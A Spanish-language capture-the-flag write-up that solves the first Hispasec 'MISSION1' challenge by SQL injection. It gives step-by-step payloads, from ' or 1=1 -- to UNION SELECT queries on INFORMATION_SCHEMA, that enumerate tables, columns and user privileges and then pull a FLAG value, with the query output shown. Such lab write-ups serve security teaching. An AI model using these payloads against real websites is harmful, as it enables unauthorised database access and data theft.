Inyección SQL en el Capture the flag de hispasec #MISSION1 parte 1

Inyección SQL, jugando con la base de datos y obteniendo información.

El concurso comienza accediendo a la URL http://34.253.233.243/form1.php donde nos encontramos con un buscador vulnerable a inyección SQL.

Esta conectado a una Base de datos con un motor que por ahora desconocemos .

Tras varias pruebas descubrimos que el buscador es vulnerable a inyección SQL.

No soy de usar herramientas automatizadas, así que vamos a usar el buscador inyectando comandos básicos de SQLi para descubrir el motor. Usamos el típico payload ' or 1=1 -- y obtenemos un resultado exitoso.

Buscador vulnerable a inyección SQL
Buscador vulnerable a inyección SQL

Tras poner el payload  ' or 1=1 -- obtenemos una inyección SQL que lista toda la tabla de la Base de datos.

Imágenes integradas 1

Obteniendo información del esquema mediante inyecciones SQL.

Extrayendo el nombre de las tablas mediante inyecciones SQL.

Hasta ahora sabemos lo siguiente:

El formulario de búsqueda es vulnerable a inyecciones SQL y que la consulta que se realiza es parecida a este comando.

select ID, NAME, STOCK from nombredelatabla where ID='1';

Sabiendo que la consulta selecciona 3 columnas vamos a intentar sacar 3 columnas adicionales realizando un union para ello en el cuadro de busqueda colocamos:

' or 1=1 union SELECT table_schema, table_name, 1 FROM INFORMATION_SCHEMA.tables --
Inyección SQL en el buscador del CTF de Hispasec
Inyección SQL en el buscador del CTF de Hispasec

En esta inyección SQL lo que realizamos es seleccionar 3 datos de la tabla INFORMATION_SCHEMA.tables en concreto el nombre de la base de datos y el nombre de las tablas junto a un 1 para cumplir el numero de columnas y así evitar que el comando union no falle.

El resultado de la consulta que realizara la aplicacion web a la base de datos sera la siguiente:

select ID, NAME, STOCK from nombredelatabla where ID='' or 1=1 union SELECT table_schema, table_name, 1 FROM INFORMATION_SCHEMA.tables --

Le damos a buscar y conseguimos la información que necesitamos.

Imágenes integradas 4

Con el resultado anterior ahora también sabemos que la base de datos se llama: PHARMA_CORP  y que las tablas que tiene dicha base de datos son: CLIENTS , PRODUCTS  y SECRET.

ID: PHARMA_CORP - NAME: CLIENTS - STOCK: 1
ID: PHARMA_CORP - NAME: PRODUCTS - STOCK: 1
ID: PHARMA_CORP - NAME: SECRET - STOCK: 1

Extrayendo los privilegios del usuario mediante inyecciones SQL.

Ahora necesitamos saber que privilegios tenemos con el usuario que se conecta a la base de datos de MySQL para ello nos apoyaremos en la tabla USER_PRIVILEGES y usaremos el payload 

' or 1=1 union select GRANTEE,PRIVILEGE_TYPE,3 from INFORMATION_SCHEMA.USER_PRIVILEGES --
Inyección SQL para obtener los permisos del usuario
Inyección SQL para obtener los permisos del usuario

El resultado del payload nos devuelve esto:

ID: 'boss'@'localhost' - NAME: USAGE - STOCK: 3

Esto quiere decir que el usuario es boss la ip es localhost y el permiso que tenemos sobre la BBDD es USAGE.

Respecto a los privilegios podéis revisar la documentación de MySQL.

Obteniendo las columnas de la tabla mediante inyecciones SQL.

Para obtener información de las columnas acudimos a la tabla information_schema.columns siendo COLUMN_NAME el nombre de la columna, table_name el nombre de la tabla y filtraremos el resultado mediante TABLE_SCHEMA='PHARMA_CORP' para obtener solo el esquema de la BBDD de PHARMA_CORP

Para ello utilizaremos el siguiente payload:

' union SELECT table_name,COLUMN_NAME,1 FROM information_schema.columns where TABLE_SCHEMA='PHARMA_CORP' -- 

Dicha inyección SQL nos devolverá el nombre de la tabla con sus correspondientes columnas:

ID: CLIENTS - NAME: ID - STOCK: 1
ID: CLIENTS - NAME: NAME - STOCK: 1
ID: PRODUCTS - NAME: ID - STOCK: 1
ID: PRODUCTS - NAME: NAME - STOCK: 1
ID: PRODUCTS - NAME: STOCK - STOCK: 1
ID: SECRET - NAME: ID - STOCK: 1
ID: SECRET - NAME: FLAG - STOCK: 1

Consiguiendo el secret key para pasar al siguiente nivel.

Por ultimo tenemos que obtener de la tabla SECRET el campo FLAG para ello utilizaremos la inyeccion SQL

1' union SELECT FLAG ,1,1 FROM SECRET --
Inyección SQL para obtener el campo FLAG de la tabla SECRET
Inyección SQL para obtener el campo FLAG de la tabla SECRET

y con esto terminamos la parte 1 del reto.

Resultado de la inyección SQL para obtener el campo FLAG de la tabla SECRET
Resultado de la inyección SQL para obtener el campo FLAG de la tabla SECRET